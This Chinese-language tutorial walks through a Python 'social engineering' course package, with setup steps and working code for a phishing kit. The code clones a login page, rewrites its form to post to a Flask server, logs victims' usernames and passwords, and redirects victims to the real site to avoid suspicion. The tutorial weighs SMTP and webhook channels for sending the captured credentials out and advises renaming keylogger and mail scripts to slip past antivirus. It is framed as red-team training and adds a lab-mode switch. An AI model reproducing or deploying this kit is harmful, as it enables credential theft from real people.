简介:这份课程设计资料围绕Python实现社会工程学攻击展开,面向信息安全初学者、Python课程设计学生及希望理解攻击者思路的安全从业者,帮助其在合法合规前提下认识信息收集、心理操纵与信任建立等攻击原理。压缩包共2个文件,包含1个py源码与1个docx实验报告,整体约1.09MB,源码对应邮件伪造等攻击脚本,报告则记录操作过程、结果与分析。内容覆盖信息收集脚本、Scapy网络嗅探、smtplib与email邮件欺骗、gTTS与语音识别模拟交互、键盘记录器等恶意软件雏形,并强调道德规范与法规边界。已有431人学习,读者可借此掌握攻击链各环节的Python实现技巧,通过代码解读与实验复盘理解防御要点,锻炼创新思维与问题解决能力,为网络安全方向的学习和职业发展提供参考。
1. 从一份“社会工程学攻击”源码包说起:它到底能跑出什么
很多人第一次看到“基于 Python 的社会工程学攻击(内含源码和实验报告)”这个标题,第一反应是“这不就是个钓鱼脚本合集吗”。我最初也这么想,直到把这类源码包拆开跑了一遍,才发现它真正的价值不在“攻击”两个字,而在于它把信息收集、话术诱导、页面克隆、凭据回传这条链路用 Python 串成了一个可复现的教学闭环。对做安全培训、红队演练、CTF 出题,甚至只是想搞懂“人为什么会被骗”的工程师来说,这是一份能直接改造成内部演练靶场的素材。它适合有 Python 基础、懂一点 HTTP 和 Flask 的人,不适合指望双击 exe 就能“黑掉谁”的小白。下面我按自己复现这类包的顺序,把环境、代码、参数和坑一次讲透。
2. 环境准备与源码结构:把 zip 跑起来之前先看清目录
2.1 为什么这类包优先选 Python 3.8 + Flask,而不是别的组合
这类社会工程学演练包九成以上是 Python 写的,原因很直接:requests抓页面、BeautifulSoup改表单、Flask起假站、smtplib发信,四个库就能把整条链路搭完,不需要编译,改一行就能换一套话术。我一般固定用 Python 3.8 到 3.10 这个区间,再高的版本有些老包里的werkzeug会报url_quote导入错误,这是血泪经验。虚拟环境必须建,因为这类包经常锁死Flask==1.1.x,和你机器上全局的 Flask 2.x 冲突。
# 建虚拟环境,隔离依赖,避免污染全局 python -m venv se_env # Windows 激活 se_env\Scripts\activate # macOS / Linux 激活 source se_env/bin/activate # 装核心依赖,版本按包内 requirements.txt 为准 pip install flask requests beautifulsoup4激活后先别急着python main.py。这类 zip 解压出来通常长这样:main.py是入口,templates/放克隆下来的登录页,static/放 CSS 和 logo,config.py或直接写在main.py里的字典存回传地址和邮箱账号,report/或实验报告.docx是作者写的复现记录。先cat requirements.txt看版本,再python -c "import flask; print(flask.__version__)"确认装对了。
2.2 用 tree 命令先摸清目录,再决定改哪个文件
不要一上来就通读所有代码,先看结构。我习惯用tree或find把文件列出来,重点盯三个位置:入口文件、模板目录、配置文件。
# 列出目录结构,排除虚拟环境 find . -type f -not -path "./se_env/*" | head -50看到templates/login.html就说明它克隆的是登录页;看到config.py就先去改里面的回传地址;看到report/就知道作者留了实验报告,可以对照他的步骤验证你的环境。这一步花两分钟,能省掉后面半小时的“为什么跑不起来”。
提示:解压前先杀毒扫描。这类包里的
keylogger.py或mail.py有时会被杀软直接隔离,导致你以为是代码 bug,其实是文件没了。
2.3 依赖安装的三个参数坑:版本、镜像、编译
第一个坑是版本。requirements.txt里如果写Flask>=1.0,pip 会给你装最新的 3.x,然后@app.before_first_request这种老写法直接报AttributeError。解决办法是手动降级:pip install "Flask==1.1.4"。第二个坑是镜像,国内装lxml这种要编译的包,不加镜像会卡在Building wheel。第三个坑是cryptography这类带 C 扩展的包,Windows 上没装 Visual C++ Build Tools 会编译失败,直接找预编译 wheel 或者用 conda 装。
# 指定版本 + 国内镜像,避免编译卡死 pip install "Flask==1.1.4" "requests==2.28.1" -i https://pypi.tuna.tsinghua.edu.cn/simple装完跑一句pip check,看有没有依赖冲突。这一步做完,环境才算立住。
3. 核心链路拆解:克隆页面、改表单、起假站、收回传
3.1 页面克隆:requests + BeautifulSoup 抓登录页并改写 action
社会工程学演练的核心动作是“做一个和真站一模一样的登录页”。源码里通常用requests.get把目标页拉下来,再用BeautifulSoup把<form>的action改成自己的接收地址。这里的关键参数是headers里的User-Agent,不伪装的话很多站直接返回 403,你抓到的就是一张空白页。
import requests from bs4 import BeautifulSoup # 伪装 UA,否则目标站可能直接拒绝 headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64)"} url = "http://target-login-page.example/login" resp = requests.get(url, headers=headers, timeout=10) soup = BeautifulSoup(resp.text, "html.parser") # 找到表单,把提交地址改成我们自己的接收路由 form = soup.find("form") if form: form["action"] = "/capture" # 指向 Flask 的接收路由 form["method"] = "post" # 把改写后的页面存成模板 with open("templates/login.html", "w", encoding="utf-8") as f: f.write(str(soup))逻辑说明:requests.get负责拿原始 HTML,BeautifulSoup负责定位并改写form的action和method。参数上,timeout=10防止目标站不响应时脚本挂死;encoding="utf-8"防止中文页面乱码。改完存进templates/,Flask 就能直接渲染。注意,如果目标页是 JS 动态渲染的,requests抓不到表单,这时候要么换selenium,要么直接手写一个仿制页,别硬刚。
3.2 Flask 起假站:路由、模板渲染和凭据接收
假站用 Flask 起,两个路由就够:/渲染克隆页,/capture接收 POST 过来的账号密码。源码里常见写法是把接收到的数据写进本地 txt 或通过邮件发出。我一般先写本地,方便调试,确认链路通了再换回传方式。
from flask import Flask, request, render_template app = Flask(__name__) @app.route("/") def index(): # 渲染克隆好的登录页 return render_template("login.html") @app.route("/capture", methods=["POST"]) def capture(): # 接收表单提交的凭据 username = request.form.get("username") password = request.form.get("password") with open("captured.txt", "a", encoding="utf-8") as f: f.write(f"{username}:{password}\n") # 提交后跳回真站,降低被察觉概率 return "<script>location.href='http://target-login-page.example'</script>" if __name__ == "__main__": app.run(host="0.0.0.0", port=5000, debug=False)逻辑说明:/返回克隆页,/capture用request.form.get取字段。参数上,host="0.0.0.0"让同网段机器能访问,debug=False必须关,否则报错页会暴露源码路径。字段名username、password要和克隆页里<input name="...">完全一致,不一致就取到None,这是最常见的翻车点。跳回真站那一步是降低怀疑的关键,别省。
3.3 回传方式选型:本地文件、邮件、Webhook 的取舍
回传方式决定这套演练包的“完成度”。本地文件最简单,但只能本机看;邮件用smtplib,能远程收,但很多邮箱默认拦截,需要开应用专用密码;Webhook 最干净,一个 POST 打到自己的接收端,但需要你有公网可访问的地址。我一般教学时用本地文件,演练时用 Webhook。
| 回传方式 | 依赖 | 适用场景 | 主要坑 |
|---|---|---|---|
| 本地文件 | 无 | 单机教学、调试 | 换机器就看不到 |
| 邮件 smtplib | SMTP 账号 | 远程收取 | 邮箱拦截、需应用密码 |
| Webhook | 公网接收端 | 团队演练 | 需要可访问地址 |
选型逻辑:先确认你的演练范围。单机教学别折腾邮件,本地文件足够;要跨机器收,优先 Webhook,邮件作为备选。参数上,smtplib.SMTP_SSL("smtp.example.com", 465)的端口和加密方式要和你邮箱服务商一致,写错就是连接超时。
3.4 实验报告怎么用:把它当成验收清单而不是作文
包里的实验报告不是拿来交差的,是作者的复现记录。我一般把它当验收清单:他写了“修改 config.py 中的回传地址”,我就去核对我的config.py改没改;他写了“访问 5000 端口看到登录页”,我就去浏览器验证。报告里如果有截图,重点看他的目录结构和你的差异,差异处往往就是坑。别照抄报告里的 IP 和邮箱,那些是他的环境,抄了必报错。
4. 避坑与排查:这类包跑不起来,八成是这五个原因
4.1 现象:Flask 启动报ModuleNotFoundError: No module named 'flask'
原因:虚拟环境没激活,或者 pip 装到了全局。很多人pip install之后直接python main.py,但终端其实还在系统 Python 下。解决:先which python(Windows 用where python)确认路径里有se_env,没有就重新激活;再pip list | grep -i flask确认装上了。两步都对了还报错,就是requirements.txt里的包名拼写有问题,手动装一次。
4.2 现象:浏览器打开是空白页或 404
原因:模板路径不对。Flask 默认去templates/找 HTML,如果你的克隆页存到了根目录或者static/,就渲染不出来。解决:确认render_template("login.html")里的文件名和templates/下的实际文件名完全一致,大小写敏感。还不行就看 Flask 启动日志里的TemplateNotFound,它会告诉你它找了哪些路径。
4.3 现象:表单提交后captured.txt里是None:None
原因:克隆页里<input>的name属性和request.form.get的键不一致。比如页面里是name="user",代码里取request.form.get("username"),取到的就是None。解决:打开templates/login.html,搜<input,把每个name值抄下来,和capture路由里的键逐一对照。这是最高频的翻车点,没有之一。
4.4 现象:邮件回传一直超时或认证失败
原因:SMTP 端口、加密方式、授权码三者有一个不对。很多邮箱现在要求用“应用专用密码”而不是登录密码,且 465 端口对应SMTP_SSL,587 端口对应starttls()。解决:先确认服务商文档里的端口和加密组合,再用smtplib单独写个五行脚本测通,测通了再嵌回主程序。别在主程序里调,报错信息会被 Flask 日志淹没。
4.5 现象:杀软把mail.py或keylogger.py直接删了
原因:这类文件名和行为特征太明显,杀软按启发式规则直接隔离。解决:在隔离区恢复并加信任目录,或者把敏感逻辑改名合并进main.py。更稳妥的做法是在纯隔离的虚拟机里跑,别在主力机上折腾。这一点没有后悔药,养成用快照虚拟机的习惯。
5. 进阶:把演练包改造成可复现的内部靶场
5.1 用 Docker 把环境封死,换机器也能一键起
这类包最大的问题是环境依赖重,换台机器就报错。我现在的习惯是写个Dockerfile把它封起来,docker run一条命令起靶场,docker rm一条命令清干净,不留痕迹。
FROM python:3.9-slim WORKDIR /app COPY requirements.txt . RUN pip install -r requirements.txt -i https://pypi.tuna.tsinghua.edu.cn/simple COPY . . EXPOSE 5000 CMD ["python", "main.py"]逻辑说明:基础镜像选python:3.9-slim,体积小且兼容老 Flask;WORKDIR固定工作目录,避免路径问题;EXPOSE 5000声明端口。构建命令docker build -t se-lab .,运行命令docker run -p 5000:5000 se-lab。参数上,-p把容器端口映射到宿主机,改端口只改前面那个数。这样每次演练都是干净环境,不会因为上次跑残留的captured.txt干扰判断。
5.2 加一层“演练模式”开关,防止误用到真实环境
源码包默认是“真收真发”,教学时容易出事。我一般加一个config.py里的LAB_MODE = True,在capture路由里判断:LAB_MODE为真时只写本地并打印到控制台,为假时才走回传。这样一套代码既能教学又能演练,切换只改一个布尔值。
# config.py LAB_MODE = True CAPTURE_FILE = "captured.txt" # main.py 的 capture 路由里 from config import LAB_MODE, CAPTURE_FILE if LAB_MODE: print(f"[LAB] {username}:{password}") # 只打印,不外发 else: with open(CAPTURE_FILE, "a", encoding="utf-8") as f: f.write(f"{username}:{password}\n")参数说明:LAB_MODE是总开关,CAPTURE_FILE抽出来方便改路径。这样做的价值在于,你可以在同一份代码上做“纯教学演示”和“受控演练”两种事,不用维护两个版本。
5.3 验证方法:用 curl 模拟提交,确认链路每一环
浏览器点提交只能看到结果,看不到过程。我习惯用curl直接打/capture,确认接收端逻辑没问题,再去浏览器验证页面渲染。
# 模拟表单提交,验证 capture 路由 curl -X POST http://127.0.0.1:5000/capture \ -d "username=testuser&password=testpass" \ -v-d后面跟表单字段,-v打印请求响应细节。如果返回 200 且captured.txt里出现testuser:testpass,说明接收链路通了;不通就看-v里的状态码,404 是路由没注册,500 是代码异常。这一步能把“页面问题”和“接收问题”彻底分开,排查效率翻倍。
5.4 一个具体技巧:用模板变量让克隆页支持多目标
源码包通常只克隆一个站,改目标要手动改 HTML。我一般把标题、logo 路径、表单字段抽成模板变量,render_template时传进去,一套模板适配多个演练目标。
@app.route("/") def index(): return render_template("login.html", site_name="内部演练系统", logo_url="/static/logo.png")模板里用{{ site_name }}和{{ logo_url }}占位。这样换目标只改路由里的参数,不动 HTML。参数上,site_name会出现在页面标题和 logo 旁,logo_url指向static/下的图片。这个技巧在需要连续演练多个场景时特别省事,也是我从反复改 HTML 的教训里总结出来的。
我现在的习惯是:拿到任何这类包,先建虚拟环境、再find看结构、然后curl验接收、最后才开浏览器。这套顺序让我少熬了很多夜。希望帮到你。
本文还有配套的精品资源,点击获取